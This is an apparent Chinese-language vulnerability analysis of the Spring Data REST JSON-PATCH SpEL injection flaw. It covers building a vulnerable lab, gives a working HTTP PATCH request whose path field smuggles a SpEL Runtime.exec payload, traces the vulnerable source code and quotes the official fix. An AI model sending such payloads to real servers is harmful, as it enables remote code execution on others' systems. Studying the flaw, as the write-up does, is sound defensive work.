Spring Data REST的目的是消除CURD的模板代码,减少程序员的刻板的重复劳动,但实际上并没有很多人使用。很少有请求直接操作数据库的场景,至少也要做权限校验等操作。而Spring Data REST允许请求直接操作数据库,中间没有任何的业务逻辑
漏洞的原因是对PATCH方法处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为Spring的SPEL解析导致的RCE,大部分Spring框架的RCE都是源于此
使用Spring官方教程:https://github.com/spring-guides/gs-accessing-data-rest.git 下载后包含多个模块,使用其中的complete项目,导入IDEA后发现是SpringBoot项目
官方不可能在教程中采用存在漏洞的代码,所以我们需要手动将pom依赖文件中SpringBoot的版本修改为存在漏洞的版本。SpringBoot是一个父依赖,其中包含spring-data-rest-webmvc这个核心组件
xxxxxxxxxx
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.6.RELEASE</version>
</parent>
启动项目比较简单,直接运行AccessingDataRestApplication类。如果有报错,应该是junit的问题,删除src/test/java下的文件即可解决。访问localhost:8080返回如下
xxxxxxxxxx
{
"_links" : {
"people" : {
"href" : "http://localhost:8080/people{?page,size,sort}",
"templated" : true
},
"profile" : {
"href" : "http://localhost:8080/profile"
}
}
}
首先应该讲一下什么是PATCH,准确一点来说是JSON-PATCH。字面意思是补丁,实际意义也是补丁。主要功能是做修补,按照JSON-PATCH官方的定义:
xxxxxxxxxx
{
"baz": "qux",
"foo": "bar"
}
发送这样的PATCH请求:
xxxxxxxxxx
[
{ "op": "replace", "path": "/baz", "value": "boo" },
{ "op": "add", "path": "/hello", "value": ["world"] },
{ "op": "remove", "path": "/foo" }
]
一开始的数据就会变成:
xxxxxxxxxx
{
"baz": "boo",
"hello": ["world"]
}
可以这样简单理解:op是一种操作标识,比如增删改查;path是修改的key,value是修改的value
使用POST的方式为系统新增一个用户:
xxxxxxxxxx
POST /people HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/json
Content-Length: 38
{"firstName":"san","lastName":"zhang"}
返回如下:
xxxxxxxxxx
HTTP/1.1 201
Location: http://localhost:8080/people/1
Content-Type: application/hal+json;charset=UTF-8
Date: Thu, 22 Apr 2021 08:05:46 GMT
Connection: close
Content-Length: 221
{
"firstName" : "san",
"lastName" : "zhang",
"_links" : {
"self" : {
"href" : "http://localhost:8080/people/1"
},
"person" : {
"href" : "http://localhost:8080/people/1"
}
}
}
返回说明创建这个人成功,接下来我们需要使用PATCH请求对这个人的信息做更改
xxxxxxxxxx
PATCH /people/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/json-patch+json
Content-Length: 57
[{ "op": "replace", "path": "/lastName", "value": "li" }]
成功修改了名字:
xxxxxxxxxx
HTTP/1.1 200
Content-Type: application/hal+json;charset=UTF-8
Date: Thu, 22 Apr 2021 08:08:57 GMT
Connection: close
Content-Length: 218
{
"firstName" : "san",
"lastName" : "li",
"_links" : {
"self" : {
"href" : "http://localhost:8080/people/1"
},
"person" : {
"href" : "http://localhost:8080/people/1"
}
}}
漏洞存在于这个PATCH请求的path参数,我们将它修改为恶意代码,造成RCE:
xxxxxxxxxx
PATCH /people/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/json-patch+json
Content-Length: 169
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99, 97, 108, 99, 46, 101, 120, 101}))/lastName", "value": "hacker" }]
从处理JSON的地方开始分析:org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()
xxxxxxxxxx
if (request.isJsonPatchRequest()) {
return applyPatch(request.getBody(), target);
} else {
return applyMergePatch(request.getBody(), target);
}
判断是否是JSON-PATCH请求,如果是那么调用applyPatch方法,并传入请求的body。关于isJsonPatchRequest的内容,判断了请求方法和请求头:
xxxxxxxxxx
public boolean isJsonPatchRequest() {
return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
}
......
public boolean isPatchRequest() {
return request.getMethod().equals(HttpMethod.PATCH);
}
关于applyPatch,看命名猜测是获得其中所有的op操作
xxxxxxxxxx
<T> T applyPatch(InputStream source, T target) throws Exception {
return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}
private Patch getPatchOperations(InputStream source) {
try {
return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
} catch (Exception o_O) {
throw new HttpMessageNotReadableException(
String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
}
}
重点关注其中的convert方法,因为传入了请求body的流,也就是包含payload的部分。代码稍复杂,不过可以看出没有对path做多余的判断,直接读取后封装到Patch中返回出去。这里可以下断点具体观察,读入了path中的payload
xxxxxxxxxx
public Patch convert(JsonNode jsonNode) {
......
ArrayNode opNodes = (ArrayNode) jsonNode;
List<PatchOperation> ops = new ArrayList<PatchOperation>(opNodes.size());
......
String path = opNode.get("path").textValue();
......
ops.add(new ReplaceOperation(path, value));
......
return new Patch(ops);
}
这里初始化Patch的方法传入了一个ops,找到Patch的构造方法,发现ops是PatchOperation的List,找到PatchOperation的构造
xxxxxxxxxx
public Patch(List<PatchOperation> operations) {
this.operations = operations;
}
public PatchOperation(String op, String path, Object value) {
this.op = op;
this.path = path;
this.value = value;
this.spelExpression = pathToExpression(path);
}
发现一处有趣的地方:spel。Spring表达式,也是大部分SpringRCE的本质原因
xxxxxxxxxx
public static Expression pathToExpression(String path) {
return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
}
private static String pathToSpEL(String path) {
return pathNodesToSpEL(path.split("\\/"));
}
发现这里对path分割后,pathNodesToSpEL方法做了简单的字符串重组,组成spel表达式字符串,没有做任何的校验。这里一层一层地传上去,到了convert方法的ops.add方法。PatchOperation类是一个抽象类,需要有具体的类继承,由于我们传入的op是replace,所以继承的类是ReplaceOperation
回到最上面apply方法
xxxxxxxxxx
<T> T applyPatch(InputStream source, T target) throws Exception {
return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}
public <T> T apply(T in, Class<T> type) throws PatchException {
for (PatchOperation operation : operations) {
operation.perform(in, type);
}
return in;
}
这里传入的PatchOperation其实是子类ReplaceOperation,看下它的perform方法
xxxxxxxxxx
<T> void perform(Object target, Class<T> type) {
setValueOnTarget(target, evaluateValueFromTarget(target, type));
}
protected void setValueOnTarget(Object target, Object value) {
spelExpression.setValue(target, value);
}
到这里就可以结束了,payload成功传入spel的setValue方法,造成RCE
官方修复方案:https://github.com/spring-projects/spring-data-rest/commit/8f269e28fe8038a6c60f31a1c36cfda04795ab45
xxxxxxxxxx
String pathSource = Arrays.stream(path.split("/"))//
.filter(it -> !it.matches("\\d")) // no digits
.filter(it -> !it.equals("-")) // no "last element"s
.filter(it -> !it.isEmpty()) //
.collect(Collectors.joining("."));
解决代码如上,比如it.matches("\d")这一步,不允许存在数字,导致上面的payload失效